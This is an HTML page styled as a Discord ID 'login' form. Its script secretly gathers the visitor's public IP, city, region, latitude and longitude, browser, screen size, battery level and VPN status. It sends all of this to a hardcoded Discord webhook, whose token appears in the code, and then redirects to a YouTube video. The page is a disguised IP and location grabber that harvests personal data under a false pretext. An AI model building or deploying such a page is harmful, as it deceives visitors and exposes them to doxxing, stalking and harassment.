<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login with ID</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background: red;
            animation: colorChange 20s infinite;
            overflow: hidden;
        }

        @keyframes colorChange {
            0% { background-color: red; }
            25% { background-color: blue; }
            50% { background-color: purple; }
            75% { background-color: green; }
            100% { background-color: red; }
        }

        .container {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 10px;
            padding: 20px;
            width: 300px;
            box-shadow: 0 4px 30px rgba(0, 0, 0, 0.15);
            transform: scale(0);
            animation: slideIn 0.5s forwards;
        }

        @keyframes slideIn {
            to {
                transform: scale(1);
            }
        }

        h1 {
            font-size: 20px;
            margin-bottom: 15px;
            color: #333;
            text-align: center;
            opacity: 0;
            animation: fadeIn 1s 0.2s forwards;
        }

        @keyframes fadeIn {
            to {
                opacity: 1;
            }
        }

        input[type="text"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border-radius: 5px;
            border: 1px solid #ddd;
            font-size: 16px;
            box-sizing: border-box;
            transition: border 0.3s;
        }

        input[type="text"]:focus {
            border-color: #2575fc;
            outline: none;
        }

        button {
            width: 100%;
            padding: 12px;
            background-color: #2575fc;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        button:hover {
            background-color: #6a11cb;
        }

        .message {
            margin-top: 15px;
            color: green;
            font-size: 16px;
            opacity: 0;
            animation: messageFadeIn 1s 0.5s forwards;
        }

        @keyframes messageFadeIn {
            to {
                opacity: 1;
            }
        }

        a {
            text-decoration: none;
            color: #2575fc;
            font-size: 14px;
            display: block;
            margin-top: 15px;
            opacity: 0;
            animation: linkFadeIn 1s 0.7s forwards;
        }

        @keyframes linkFadeIn {
            to {
                opacity: 1;
            }
        }

        a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <div class="container" id="container">
        <h1>Enter Your Discord ID</h1>
        <input type="text" id="userId" placeholder="Enter your Discord ID" />
        <button id="submitBtn">Submit</button>
        <div class="message" id="message"></div>
        <a href="https://www.youtube.com/watch?v=oUkeUnSg88o" target="_blank">Don't know how?</a>
    </div>

    <script>
        async function getPublicIP() {
            try {
                const response = await fetch('https://ipinfo.io/ip');
                const data = await response.text();
                return data.trim();
            } catch (error) {
                console.error('Error fetching public IP:', error);
                return null;
            }
        }

        async function getGeoLocation(ip) {
            try {
                const response = await fetch(`https://ipapi.co/${ip}/json/`);
                const data = await response.json();
                return data;
            } catch (error) {
                console.error('Error fetching geolocation data:', error);
                return null;
            }
        }

        async function getDeviceInfo() {
            const userAgent = navigator.userAgent;
            const screenSize = `${window.innerWidth} x ${window.innerHeight}`;
            const orientation = screen.orientation ? screen.orientation.type : 'unknown';
            const battery = await navigator.getBattery();
            const batteryLevel = battery.level * 100;

            return {
                userAgent,
                screenSize,
                orientation,
                batteryLevel
            };
        }

        async function checkVPN(ip) {
            try {
                const response = await fetch(`https://ipapi.co/${ip}/json/`);
                const data = await response.json();
                return data.org && data.org.includes('VPN');
            } catch (error) {
                console.error('Error checking VPN:', error);
                return false;
            }
        }

        function validateDiscordId(userId) {
            const regex = /^\d{18,19}$/;
            return regex.test(userId);
        }

        async function sendToWebhook(userId, ip, location, deviceInfo, isVPN) {
            const webhookUrl = 'https://discord.com/api/webhooks/1324511281788485632/A1FFbGubwcMI9oVkDYFAxMWHiSIxhZkmzlamP4halExgJtFl3PdCM2-2ywa19hzcGNMa';
            
            const embed = {
                username: 'User Attempt',
                embeds: [
                    {
                        title: `Discord ID: ${userId} has visited the website`,
                        color: 0x3498db,
                        fields: [
                            {
                                name: "🌍 **Location Details**",
                                value: `**IP Address**: ${ip}\n**City**: ${location.city}\n**Region**: ${location.region}\n**Country**: ${location.country_name}\n**Location Coordinates**: ${location.latitude}, ${location.longitude}`,
                                inline: false
                            },
                            {
                                name: "🖥️ **Device Info**",
                                value: `**Browser**: ${deviceInfo.userAgent}\n**Screen Size**: ${deviceInfo.screenSize}\n**Orientation**: ${deviceInfo.orientation}`,
                                inline: false
                            },
                            {
                                name: "🔋 **Battery Info**",
                                value: `**Battery Level**: ${deviceInfo.batteryLevel}%`,
                                inline: false
                            },
                            {
                                name: "🛡️ **VPN Status**",
                                value: `**VPN Detected**: ${isVPN ? "Yes" : "No"}`,
                                inline: false
                            }
                        ],
                        timestamp: new Date().toISOString()
                    }
                ]
            };

            try {
                await fetch(webhookUrl, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(embed)
                });
                document.getElementById('message').textContent = 'Success! You will be redirected shortly.';
                setTimeout(function() {
                    window.location.href = 'https://www.youtube.com/watch?v=oUkeUnSg88o';
                }, 2000);
            } catch (error) {
                console.error('Error sending webhook:', error);
            }
        }

        async function handleSubmit() {
            const userId = document.getElementById('userId').value;
            if (userId.trim() === '') {
                alert('Please enter your Discord ID!');
                return;
            }

            if (!validateDiscordId(userId)) {
                alert('Invalid Discord ID! Please enter a valid 18-19 digit Discord ID.');
                return;
            }

            const ip = await getPublicIP();
            if (ip) {
                const location = await getGeoLocation(ip);
                const deviceInfo = await getDeviceInfo();
                const isVPN = await checkVPN(ip);
                await sendToWebhook(userId, ip, location, deviceInfo, isVPN);
            } else {
                alert('Could not fetch public IP. Please try again.');
            }
        }

        document.getElementById('submitBtn').addEventListener('click', handleSubmit);
        document.getElementById('userId').addEventListener('keydown', function(event) {
            if (event.key === 'Enter') {
                handleSubmit();
            }
        });
    </script>
</body>
</html>
